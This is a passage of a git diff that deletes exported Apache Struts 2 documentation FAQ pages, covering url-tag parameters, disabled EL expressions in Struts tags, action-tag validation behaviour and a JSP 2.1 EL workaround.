-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Why are request parameters appended to our hyperlinks</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13835">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13835">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13835">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13835">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13835">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13835">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>We're trying to change the locale using the &lt;url&gt; tag, but after using the link, they all have an extra request parameter appended. A link that reads on the first display <code>Welcome.do?request_locale=en</code>, after being used reads <code>Welcome.do?request_locale=en&amp;request_locale=en"</code>.</p>
-
-<p>Here's the code we're using:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Doesn't work right!</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;ul&gt;
-   &lt;li&gt;&lt;a href="&lt;s:url action="Welcome?request_locale=en"/&gt;"&gt;English&lt;/a&gt;&lt;/li&gt;
-   &lt;li&gt;&lt;a href="&lt;s:url action="Welcome?request_locale=ja"/&gt;"&gt;Japanese&lt;/a&gt;&lt;/li&gt;
-   &lt;li&gt;&lt;a href="&lt;s:url action="Welcome?request_locale=ru"/&gt;"&gt;Russian&lt;/a&gt;&lt;/li&gt;
-&lt;/ul&gt;
-</pre>
-</div></div> 
-
-<hr>
-
-<p>The URL tag isn't meant to be used with a query string.  The best way to write this would be:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Use the param tag instead</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:url action="Welcome"&gt;
- &lt;s:param name="request_locale" value="en" /&gt;
-&lt;/s:url&gt;
-</pre>
-</div></div>
-
-<p>The reason is the url tag has this "includeParams" tag, which can automatically include all the query string parameters in the URL.  The default value is GET, meaning all the GET parameters will be automatically included in the final URL, which is what we see here.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/why-cant-i-use-jstl-style-el-expressions-in-struts-tags.html b/content/docs/why-cant-i-use-jstl-style-el-expressions-in-struts-tags.html
deleted file mode 100644
index fa878cb..0000000
--- a/content/docs/why-cant-i-use-jstl-style-el-expressions-in-struts-tags.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Why can't I use JSTL-style EL expressions in Struts tags?</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="why-cant-i-use-jstl-style-el-expressions-in-struts-tags.html">Why can't I use JSTL-style EL expressions in Struts tags?</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Why can't I use JSTL-style EL expressions in Struts tags?</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=88503">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=88503">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=88503">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=88503">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=88503">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=88503">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>As of Struts version 2.0.9 the JSTL/JSP expression language (EL) has been disabled for Struts tag attributes which evaluate OGNL. This is a precaution against security vulnerabilities that can result from the double-evaluation that occurs when an attribute is first processed as a JSTL/JSP EL expression and then the result is processed as an OGNL expression. The solution is to express all dynamic attribute values in Struts tags using OGNL express [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/why-didnt-my-action-tag-get-executed-when-i-have-validation-errors.html b/content/docs/why-didnt-my-action-tag-get-executed-when-i-have-validation-errors.html
deleted file mode 100644
index b09d22a..0000000
--- a/content/docs/why-didnt-my-action-tag-get-executed-when-i-have-validation-errors.html
+++ /dev/null
@@ -1,161 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Why didn't my action tag get executed when I have validation errors</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="why-didnt-my-action-tag-get-executed-when-i-have-validation-errors.html">Why didn't my action tag get executed when I have validation errors</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Why didn't my action tag get executed when I have validation errors</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14218">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14218">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14218">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14218">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14218">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14218">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>The class related to an action tag will not execute when a validation error is exposed and the (default) ValidationInterceptor and DefaultWorkflowInterceptor are in place.</p>
-
-<p>The default configuration excludes several methods from valiation, including <code>input</code>. If the input method is specified by the action tag, then valiation will not fire. </p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:action name="myActionAlias!input" executeResult="false" /&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/why-do-i-get-a-javaxelelexception-when-using-ognl-with-jsp21.html b/content/docs/why-do-i-get-a-javaxelelexception-when-using-ognl-with-jsp21.html
deleted file mode 100644
index c6b1261..0000000
--- a/content/docs/why-do-i-get-a-javaxelelexception-when-using-ognl-with-jsp21.html
+++ /dev/null
@@ -1,167 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Why do I get a javax.el.ELException when using OGNL with JSP2.1?</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="why-do-i-get-a-javaxelelexception-when-using-ognl-with-jsp21.html">Why do I get a javax.el.ELException when using OGNL with JSP2.1?</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Why do I get a javax.el.ELException when using OGNL with JSP2.1?</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=51045">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=51045">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=51045">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=51045">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=51045">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=51045">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>With JSP2.1 the "#" character is used in the JSP EL. OGNL does use this escape character as well.<br clear="none">
-To get around this there is the possibility to disable JSP EL in web.xml:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;jsp-config&gt;
-  &lt;jsp-property-group&gt;
-    &lt;url-pattern&gt;*.jspx&lt;/url-pattern&gt;
-    &lt;el-ignored&gt;true&lt;/el-ignored&gt;
-  &lt;/jsp-property-group&gt;
-&lt;/jsp-config&gt;    
-</pre>
-</div></div>
-
-<p>related threads:</p>
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/user%40struts.apache.org/msg56749.html" rel="nofollow">http://www.mail-archive.com/user%40struts.apache.org/msg56749.html</a></li><li><a shape="rect" class="external-link" href="http://forums.opensymphony.com/thread.jspa?messageID=100059" rel="nofollow">http://forums.opensymphony.com/thread.jspa?messageID=100059</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/why-do-the-form-tags-put-table-tags-around-controls.html b/content/docs/why-do-the-form-tags-put-table-tags-around-controls.html
deleted file mode 100644
index 0824c03..0000000
--- a/content/docs/why-do-the-form-tags-put-table-tags-around-controls.html
+++ /dev/null
@@ -1,193 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Why do the form tags put table tags around controls</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="why-do-the-form-tags-put-table-tags-around-controls.html">Why do the form tags put table tags around controls</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Why do the form tags put table tags around controls</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=24113">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=24113">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=24113">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=24113">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=24113">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=24113">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
